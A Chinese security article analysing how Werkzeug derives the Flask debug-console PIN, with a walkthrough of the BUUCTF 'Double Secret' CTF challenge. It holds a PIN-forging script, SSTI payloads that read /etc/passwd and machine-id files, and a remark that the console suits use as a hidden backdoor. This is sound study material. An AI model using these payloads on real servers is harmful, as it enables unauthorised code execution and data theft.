Flask debug 模式下的 PIN 码安全性分析

  • A+
所属分类:安全闲碎

本文首发于先知社区,点击原文链接可查看原文

一、概述

        Flask 在生产环境中开启 debug 模式,输入正确的 PIN 码,就会产生一个交互的 shell ,可以执行自定义的 python 代码。

Flask debug 模式下的 PIN 码安全性分析

        在同一台机器上,多次重启 Flask 服务,PIN 码值不改变,也就是说 PIN 码不是随机生成的,有一定的生成方法可循。接下来,我们来具体地分析一下 PIN 码的生成流程。

本文章的分析都是基于 python2.7 的。

二、PIN码生成流程分析

         本次调试环境:

      • python2.7

      • window10

      • flask1.1.2

        这里就使用 pycharm 进行调试。
示例代码如下,在 app.run 设置断点

Flask debug 模式下的 PIN 码安全性分析

按 F7 进入 Flask 类的 run 方法 ,
位置python2.7Libsite-packagesflaskapp.py(889~995)
这里都是一些变量的加载,不用理会,多次按 F8 直到 run_simple() 函数调用。

Flask debug 模式下的 PIN 码安全性分析

按 F7 进入 run_simple(),位置python2.7Libsite-packageswerkzeugserving.py(876~971),这里判断了是否使用 debug 调试,有的话就调用 DebuggedApplication 类

Flask debug 模式下的 PIN 码安全性分析

按 F7 进入,位置 python2.7Libsite-packageswerkzeugdebug__init__.py(220~498),从DebuggedApplication 的 __init__ 初始化操作中,有一个判断,如果启用 PIN,及 self.pin 存在值,就会通过 _log() 函数,将 PIN 码打印到出来。

Flask debug 模式下的 PIN 码安全性分析

ctrl+鼠标左击进入 self.pin,这里使用了 @property 装饰器, @property 就是负责把一个方法变成属性调用的,方便定义属性的 get 和 set 方法。可以看到调用了 get_pin_and_name() 对 PIN 进行赋值。

Flask debug 模式下的 PIN 码安全性分析

ctrl+鼠标左击进入 get_pin_and_name(),位置 python2.7Libsite-packageswerkzeugdebug__init__.py(137~217),这里就是生成PIN码的重点代码

def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.

Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin

modname = getattr(app, "__module__", app.__class__.__module__)

try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None

mod = sys.modules.get(modname)

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", app.__class__.__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

return rv, cookie_name

首先初始化了三个变量,都为 None,其中 rv 就是 PIN 的值,在分析过程中需要重点关注其值的变化。

Flask debug 模式下的 PIN 码安全性分析

因为 PIN 为 None,所以第150~159的两个 if 不会执行,直接跳过。

Flask debug 模式下的 PIN 码安全性分析

接下来,也是一些有关 PIN 生成变量的赋值。

Flask debug 模式下的 PIN 码安全性分析

变量值赋值后的结果如下

Flask debug 模式下的 PIN 码安全性分析

然后再对 probably_public_bits 和 private_bits 列表的元素进行 md5.update,update 会将每次字符串拼接,相当于对 probably_public_bits、private_bits 的所有元素加上 cookiesalt 和 pinsalt 字符串进行拼接一个长字符串,对这个长字符串进行md5加密,生成一个MD5加密的值,取前9位,赋值给num。

Flask debug 模式下的 PIN 码安全性分析

最后将 num 的九位数的值分割成3个三位数,再用-连接3个三位数拼接,赋值给 rv,这个 rv 就是 PIN 的值。

Flask debug 模式下的 PIN 码安全性分析

最后 PIN 的值如下

Flask debug 模式下的 PIN 码安全性分析

三、PIN 码获取

        从如上的 PIN 的生成流程分析,可以知道 PIN 主要由 probably_public_bits 和 private_bits 两个列表变量决定,而这两个列表变量又由如下6个变量决定:

  • username 启动这个 Flask 的用户

  • modname 一般默认 flask.app

  • getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask

  • getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在报错页面看到

  • str(uuid.getnode()) 是网卡 MAC 地址的十进制表达式

  • get_machine_id() 系统 id

Flask debug 模式下的 PIN 码安全性分析

        那又如何获取这6个变量呢?因为 modname 一般默认 flask.app,getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask,所以主要获取剩下的4个变量即可。

1.liunx下PIN码获取

        还是用上面流程分析的代码,在 linux 中运行。
(1). uaername 可以从 /etc/passwd 中读取。这里是 root 用户启动的,所以值为 root,不知道哪个用户启动的,可以按照 /etc/passwd 里的用户多尝试一下。

Flask debug 模式下的 PIN 码安全性分析

(2). getattr(mod, '__file__', None) flask 目录下的一个 app.py 的绝对路径,这个值可以在报错页面看到。但有个需注意,python3 是 app.py,python2 中是 app.pyc。这里值为 /usr/local/lib/python2.7/dist-packages/flask/app.pyc

Flask debug 模式下的 PIN 码安全性分析

(3). str(uuid.getnode()) MAC地址 读取这两个地址:/sys/class/net/eth0/address 或者 /sys/class/net/ens33/address

Flask debug 模式下的 PIN 码安全性分析

转化为10进制,这里值为52228526895

Flask debug 模式下的 PIN 码安全性分析

(4). get_machine_id() 系统id 。
我们进入get_machine_id(),从代码中可以得知这里对linux、os、window的3种系统的获取方法。

def get_machine_id():
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate():
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except IOError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except IOError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE

dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)

if match is not None:
return match.group(1)
except (OSError, ImportError):
pass

# On Windows, use winreg to get the machine guid.
try:
import winreg as wr
except ImportError:
try:
import _winreg as wr
except ImportError:
wr = None

if wr is not None:
try:
with wr.OpenKey(
wr.HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Cryptography",
0,
wr.KEY_READ | wr.KEY_WOW64_64KEY,
) as rk:
guid, guid_type = wr.QueryValueEx(rk, "MachineGuid")

if guid_type == wr.REG_SZ:
return guid.encode("utf-8")

return guid
except WindowsError:
pass

_machine_id = _generate()
return _machine_id

只要从 /etc/machine-id、/proc/sys/kernel/random/boot_id 中读到一个值后立即 break,然后和/proc/self/cgroup 中的id值拼接

Flask debug 模式下的 PIN 码安全性分析

2020.1.5 werkzeug1.0.1版本(Flask是基于werkzeug开发的) 对 machine_id() 进行了更新 ,所以2020.1.5之前的版本是跟这里不同的,具体更新情况可看
https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f

2020.1.5修改前:
是依序读取 /proc/self/cgroup、/etc/machine-id、/proc/sys/kernel/random/boot_id 三个文件,只要读取到一个文件的内容,立马返回值。

Flask debug 模式下的 PIN 码安全性分析




这里 /etc/machine-id 为 75d03aa852be476cbe73544c93e98276 ,/proc/self/cgroup 只读取第一行,并以从右边算起的第一个‘/’为分隔符,分成两部分,去右边那部分,这里为空,所以这里 get_machine_id() 的值为75d03aa852be476cbe73544c93e98276。

Flask debug 模式下的 PIN 码安全性分析

现在已经知道所有变量的值,可以就用 get_pin_and_cookie_name 的部分代码生成PIN码。代码如下:

import hashlib
from itertools import chain
probably_public_bits = [
'root'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
'52228526895',# str(uuid.getnode()), /sys/class/net/ens33/address
'75d03aa852be476cbe73544c93e98276'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)


最后生成的 PIN 码为638-233-100,输入后即可看到一个 shell 的交互界面

Flask debug 模式下的 PIN 码安全性分析

2.window下PIN码获取

(1). uaername 可以从 net user 命令查看,这里值为 Administrator
(2). getattr(mod, '__file__', None) flask 目录下的一个 app.py 的绝对路径,这个值可以在报错页面看到。但有个需注意,python3 是 app.py,python2 中是 app.pyc。这里值为G:codevenvflaskProject2libsite-packagesflaskapp.pyc

Flask debug 模式下的 PIN 码安全性分析

(3). str(uuid.getnode()) MAC 地址 ipconfig /all

Flask debug 模式下的 PIN 码安全性分析

转化为10进制,这里值为137106045523937

Flask debug 模式下的 PIN 码安全性分析

(4). get_machine_id() 系统 id 。

Flask debug 模式下的 PIN 码安全性分析

打开注册表查看HKEY_LOCAL_MACHINESOFTWAREMicrosoftCryptography的 MachineGuid 值

Flask debug 模式下的 PIN 码安全性分析

也可以用 reg 命令行查询

reg query HKLMSOFTWAREMicrosoftCryptography

Flask debug 模式下的 PIN 码安全性分析

这里值为e7090baa-1fff-45a8-9642-005948e998da
最后用上面的脚本生成PIN,结果尝试了一下是错了。

        重新调试了一下脚本,发现 str(uuid.getnode()) 的MAC地址不对,我本机上有多个网卡,所以有多个 MAC 地址,我一开始以为是 uuid.getnode() 获取的是当前正在的网卡的MAC地址。看了一下 uuid.getnode() 的底层实现源码,才知道,它是执行了 ipconfig /all,根据返回的结果,逐行地去正则匹配 MAC 地址,第一个匹配成功就返回。

Flask debug 模式下的 PIN 码安全性分析

所以我这里第一个返回的MAC地址为7C-B2-7D-23-D7-E5,转化为十进制后为137106045523941,最后生成的PIN码为296-090-416

Flask debug 模式下的 PIN 码安全性分析

四、例题

        以华东赛区的[CISCN2019 华东南赛区]Double Secret为例,做题地址在BUUCTF https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E4%B8%9C%E5%8D%97%E8%B5%9B%E5%8C%BA]Double%20Secret

在 /secret?secret=123123 位置中,当 secret 的参数值超过5位数的时候,就会报一个交互的shell。

Flask debug 模式下的 PIN 码安全性分析

这里还存在 SSTI,我们可以利用读取生成PIN码所需的变量值。后端对 secret 传入的值进行RC4加密,RC4 加密方式为:明文加密一次得到密文,再加密一次得到明文。所以使用RC4脚本对如下的字符串进行加密,传入给 secret 中

rc4加密脚本

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是: %s" %quote(cipher))
#print("加密后的输出(经过编码):")
#print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
#rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
#rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}")
#rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/sys/class/net/eth0/address').read()}}")
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/proc/self/cgroup').read()}}")

(1)username
对如下字符串进行 RC4 加密,再传入 secret 中

{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd’).read()}}

加密后

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1C%C2%AEJuT6%C3%BA%5C%C3%8C%3D%C2%A75%C3%9Dz%5C%3F2%0D%C3%86%C3%8BF

可以得到 username 为 glzjin


Flask debug 模式下的 PIN 码安全性分析

(2)getattr(mod, '__file__', None) 从报错页面得知为 /usr/local/lib/python2.7/site-packages/flask/app.pyc
(3)str(uuid.getnode())
对如下字符串进行 RC4 加密,再传入 secret 中

{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/sys/class/net/eth0/address’).read()}}

值为 docker 后面的字符串 e86b36a1c2f2448c11ab6bad15fa05d61697462180527bb51d9e7aeb84c4d731

Flask debug 模式下的 PIN 码安全性分析

最后得到的6个变量的值分别为

  • username 值为 glzjin

  • modname 值为 flask.app

  • getattr(app, '__name__', getattr(app.__class__, '__name__')) 值为 Flask

  • getattr(mod, '__file__', None)值为/usr/local/lib/python2.7/site-packages/flask/app.pyc

  • str(uuid.getnode()) 值为2485410510816

  • get_machine_id() 值为e86b36a1c2f2448c11ab6bad15fa05d61697462180527bb51d9e7aeb84c4d731

用如下脚本生成 PIN

import hashlib
from itertools import chain
probably_public_bits = [
'glzjin'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/site-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
'2485410510816',# str(uuid.getnode()), /sys/class/net/ens33/address
'e86b36a1c2f2448c11ab6bad15fa05d61697462180527bb51d9e7aeb84c4d731'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

输入正确的PIN码,得到一个交互的shell

Flask debug 模式下的 PIN 码安全性分析



五、总结

        Flask debug 交互性 shell,需要对主机有一定的访问权限,获取生成PIN所需的相关变量值,从渗透的角度来看,比较适合做个隐藏的后门。


点击收藏 2关注 | 1




本文始发于微信公众号(山石网科安全技术研究院):Flask debug 模式下的 PIN 码安全性分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: